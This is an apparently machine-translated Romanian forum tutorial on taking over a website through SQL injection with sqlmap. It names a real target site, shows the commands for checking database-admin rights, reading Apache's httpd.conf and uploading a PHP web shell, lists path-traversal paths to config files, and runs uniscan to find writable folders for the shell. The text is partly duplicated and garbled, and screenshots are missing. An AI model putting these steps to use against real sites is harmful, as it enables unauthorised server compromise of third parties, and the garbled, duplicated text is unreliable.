După introducerea comenzii, sqlmap va întreba ce tip de umplutură dorim să folosim, deoarece... în cazul nostru, site-ul este în PHP, apoi vom încărca PHP-loader, vom selecta elementul 4 și vom apăsa Enter. În continuare, sqlmap ne va cere să alegem unde vom încărca încărcătorul nostru, iar din moment ce... Știm deja calea către site-ul nostru pe server, apoi selectați elementul 2, apăsați Enter și indicați calea către site:
/home/sbshop/site/

Și după aceea, apăsați Enter și vedeți următorul raport:

În acest caz, sqlmap ne spune că nu avem drepturi de scriere pentru acest folder. Nicio problemă, această problemă este destul de ușor de rezolvat. Dăm comanda pentru a lansa uniscan și a verifica fișierele și folderele pentru scriere, aici este comanda.

Ei bine, la subiect:

Spoiler: Umpleți carcasa

Avem o injecție SQL pe site care arată astfel:

Trebuie să fiți înregistrat pentru a vedea link-urile.


Primul lucru pe care vrem să-l facem este să verificăm dacă avem privilegii de a scrie fișiere pe resursa atacată; pentru a face acest lucru, încărcați terminalul și lansați următoarea comandă:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Clic introduceși începe analiza injecției noastre SQL, raportul arată astfel:

După cum puteți vedea în raport, sunt scrise versiunea Apache, versiunea MySQL și versiunea OS instalată pe server, toate acestea ne vor fi utile în viitor, dar cel mai important, puteți vedea că avem drepturi de a scrie fișiere, aceasta este afișată în linia Current User is DBA: True

Următorul pas pentru noi este să obținem căile pentru a ne înregistra shell-ul. Putem obține calea către site-ul nostru pe server prin descărcarea fișierului httpd.conf. Obținem informații despre locația fișierului httpd.conf folosind Google; puteți căuta după versiunea sistemului de operare care este instalat sau după lista celor mai probabile căi. În general, nu voi intra în adâncime în navigarea pe motoarele de căutare, tocmai când ați aflat cea mai probabilă locație a căii către fișier, atunci este timpul să descărcați același fișier pe disc, pentru a face acest lucru, introduceți următoarele comandă și solicită citirea fișierului de pe server:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Să observăm imediat că nu este întotdeauna posibil să găsiți acest fișier de configurare pentru prima dată, astfel încât să puteți utiliza căile cele mai probabile în care poate fi localizat acest fișier:

LISTA CĂI POSIBILE CĂTRE FIȘIERUL DE CONFIGURARE:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Primim un raport de la sqlmap sub forma următoare:


După cum puteți vedea, sqlmap ne-a spus că fișierul are aceeași dimensiune cu fișierul de pe server, prin urmare avem dreptul de a citi acest fișier. Dacă nu există suficiente drepturi pentru a citi acest fișier, atunci ar apărea o eroare că fișierul salvat pe mașina noastră are o dimensiune diferită de fișierul de pe server sau nu există niciun fișier pe server la calea pe care am specificat-o și nu a avut niciodată fost. Sqlmap a salvat fișierul nostru în fișierele de raport și pentru a-l citi trebuie să lansăm managerul de ferestre. Pentru a lansa managerul de ferestre, deschidem o altă fereastră de terminal și introducem comanda:

Apoi, în managerul care se deschide, urmăm calea în care sqlmap a adăugat fișierul, adică:
/root/.sqlmap/output/sacoor.com
Apoi, treceți cursorul peste fișier și apăsați butonul F3 pe tastatură și citiți fișierul de configurare Apache:


Din fișierul nostru de configurare vedem că site-ul nostru se află pe server pe următoarea cale:
/home/sbshop/site/

Acum că avem puține informații, putem încerca să umplem shell-ul, pentru a face acest lucru introducem următoarea comandă:

După introducerea comenzii, sqlmap va întreba ce tip de umplutură dorim să folosim, deoarece... in cazul nostru, site-ul este in PHP, apoi vom incarca PHP-loader, Selectați punctul 4și apăsați Enter. În continuare, sqlmap ne va cere să alegem unde vom încărca încărcătorul nostru, iar din moment ce... știm deja calea către site-ul nostru pe server, apoi selectăm punctul 2, presa introduceși specificați calea către site:
/home/sbshop/site/

Și după aceea apăsăm introduceși vedem următorul raport:


În acest caz, sqlmap ne spune că nu avem drepturi de scriere pentru acest folder. Nicio problemă, această problemă este destul de ușor de rezolvat. Dăm comanda pentru a lansa uniscan și a verifica fișierele și folderele pentru scriere, aici este comanda:

Uniscan -u http://www.sacoor.com/ -qwe

Acum scanerul va verifica toate directoarele care pot fi scrise:


Scanerul a găsit trei directoare cu capacitatea de a scrie fișiere, așa că încercăm să încărcăm din nou shell loader-ul, dar de data aceasta într-un mod diferit. Rulați comanda din nou:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

iar prin selectare punctul 4(completând scriptul PHP), specificați calea:
/home/sbshop/site/admin

Vedem următoarele.



Ți-a plăcut articolul? Împărtășește-l